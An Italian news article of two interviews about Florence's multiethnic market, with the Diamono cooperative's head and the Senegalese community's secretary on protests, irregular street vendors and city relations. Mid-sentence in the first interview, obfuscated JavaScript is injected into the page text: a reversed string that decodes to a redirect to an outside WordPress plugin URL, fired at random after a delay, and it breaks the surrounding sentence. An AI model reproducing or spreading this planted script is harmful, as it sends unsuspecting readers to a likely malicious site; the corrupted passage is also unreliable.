Multi sì, Multi no, Multi forse

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Quali sono le reali potenzialità del mercatino? L’abbiamo chiesto ad Abdoulaye Badji, responsabile della cooperativa Diamono.
Com’è nata la cooperativa Diamono?
È nata per gestire e organizzare il mercatino multietnico. Prima non esisteva, adesso ha oltre duecento iscritti tra gli immigrati di diversa nazionalità. Noi ci occupiamo di far arrivare al mercatino gli oggetti artigianali direttamente dall’Africa, dall’Oriente, e dall’America Latina. Abbiamo trovato anche un accordo con Equol (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and del commercio equo e solidale: loro hanno già a Firenze dei prodotti provenienti dal Terzo mondo e noi ci occuperemo di prenderli per esporli alla clientela del mercatino.
Vi occupate anche del personale del mercatino? Chi è interessato a tenere un banco deve mettersi in contatto con voi?
Non è obbligatorio iscriversi alla cooperativa. Certo, chi è iscritto ha delle agevolazioni: noi rilasciamo un foglio, un nulla osta da presentare alla questura per il rinnovo del permesso di soggiorno.
I posti disponibili per la vendita sono limitati. C’è una selezione degli interessati?
Si, i posti all’interno del giardino sono limitati, ma poi abbiamo anche i lungarni. Per ora non è un problema. Tanti non ci credono, sono delusi, pensano che il mercatino non decollerà mai. Invece decollerà e le domande aumenteranno.
L’anno scorso, però, ci sono stati dei problemi?
Ci sono stati problemi dovuti anche alla mancanza di organizzazione nostra, perché eravamo all’inizio. Questo ha suscitato le proteste di alcuni immigrati. Ci sono stati contrasti con gli irregolari: chi non ha i documenti in regola non ha interesse perchè il mercatino funzioni e hanno fatto un sabotaggio. Adesso le cose si sono aggiustate: abbiamo riannodato i rapporti con la comunità senegalese.
Perché gli irregolari avrebbero sabotato il mercatino?
C’è mancanza di informazione. Noi non possiamo andare dal governo e chiedere più permessi di soggiorno. Non ci riguardano quelli che vendono la merce in centro. Ogni tanto abbiamo chiesto alla polizia che vada a controllare chi è regolare, ma non siamo i poliziotti dei senegalesi. Se si trovasse una soluzione con la questura per mettere in regola gli ambulanti, verrebbero tutti al mercatino. Sarebbe una bella cosa.

Dali Samba, segretario della comunità senegalese di Firenze, ci ha parlato della comunità e dei conflitti sulla questione mercatino
Può descriverci le attività della comunità senegalese fiorentina e i rapporti che avete con le istituzioni?
La comunità senegalese da oltre 10 anni è l’unica struttura organizzata e legalmente riconosciuta alla quale fanno riferimento praticamente tutti i senegalesi in città. Abbiamo un presidente, facciamo riunioni periodiche. Purtroppo non abbiamo ancora una sede e questo limita molto le attività. Ci stiamo organizzando per aiutare al massimo tutti i senegalesi per le questioni che riguardano il permesso di soggiorno, il lavoro, la casa. Ci teniamo molto anche ad avere ottimi rapporti con le istituzioni e con le altre comunità di immigrati. Con Palazzo Vecchio, in particolare, abbiamo rapporti bellissimi e non può essere che così: il conflitto permanente non aiuta nessuno.
Qual è la posizione della comunità sul mercatino multietnico?
Noi non critichiamo l’iniziativa in sé. Il Comune ci ha messo soldi e impegno. Però il mercatino è nato come un fallimento, perchè se si fa una cosa per gli immigrati bisogna dire loro di cosa si tratta, come funziona e le alternative. Invece, come comunità non abbiamo mai avuto incontri diretti nè con il Comune, né con la Cooperativa Diamono. Eppure, anche a livello personale, abbiamo ottimi rapporti con entrambi. Non c’é stato mai un confronto: l’anno scorso abbiamo saputo dell’apertura del mercatino tre giorni prima che avvenisse, perciò abbiamo protestato.
Quindi, alla protesta non hanno partecipato solo gli irregolari?
No, c’era tutta la comunità. Io ero lì e sono regolare. C’erano anche altri senegalesi regolari che sono qui a Firenze magari da 12 o da 15 anni e che hanno protestato soprattutto contro quella che era una mancanza di rispetto nei confronti degli immigrati.
E’ cambiato qualcosa in vista della riapertura a fine giugno? Ci sono altre proteste in vista?
Noi non sapevamo niente della riapertura. So da lei adesso che è prevista per la fine del mese e se ci sarà da fare un’altra protesta la faremo.
Ma i ragazzi senegalesi che lavorano come ambulanti sanno qualcosa del mercatino multietnico?
Non si può dire che adesso non ne sappiano niente. Non sono d’accordo, perché non hanno mai saputo di cosa si trattasse e nemmeno che era una cosa che li riguardava. C’è stata una cattiva informazione. Conosco ambulanti, anche regolari, che lavorano 12 mesi all’anno sui lungarni vicini al mercatino, ma hanno scelto di non entrarci. E conosco altri che da mesi hanno fatto domanda per entrare, ma stanno ancora aspettando, perché c’è una selezione e una lista di attesa.
L’assessore Colonna, parlando degli immigrati che fanno gli ambulanti in centro, ama distinguere tra buoni e cattivi. Chi sono questi “cattivi”?
Io non lo so chi sono i cattivi. Ci sono sicuramente dei senegalesi cattivi, perché siamo un popolo come tutti gli altri, ma posso dire che la maggior parte dei senegalesi ha voglia di lavorare. Ci sono dei ragazzi che si alzano alle cinque del mattino e vanno a cercare un lavoro fino alle dieci o a mezzogiorno, poi vanno a vendere roba in centro. Questo dimostra voglia di lavorare, di trovare qualcosa di regolare. Quando però si parla di doveri, di quello che i senegalesi dovrebbero fare, ci dovrebbero essere anche dei diritti. E noi, che diritti abbiamo se non troviamo un lavoro o una casa?

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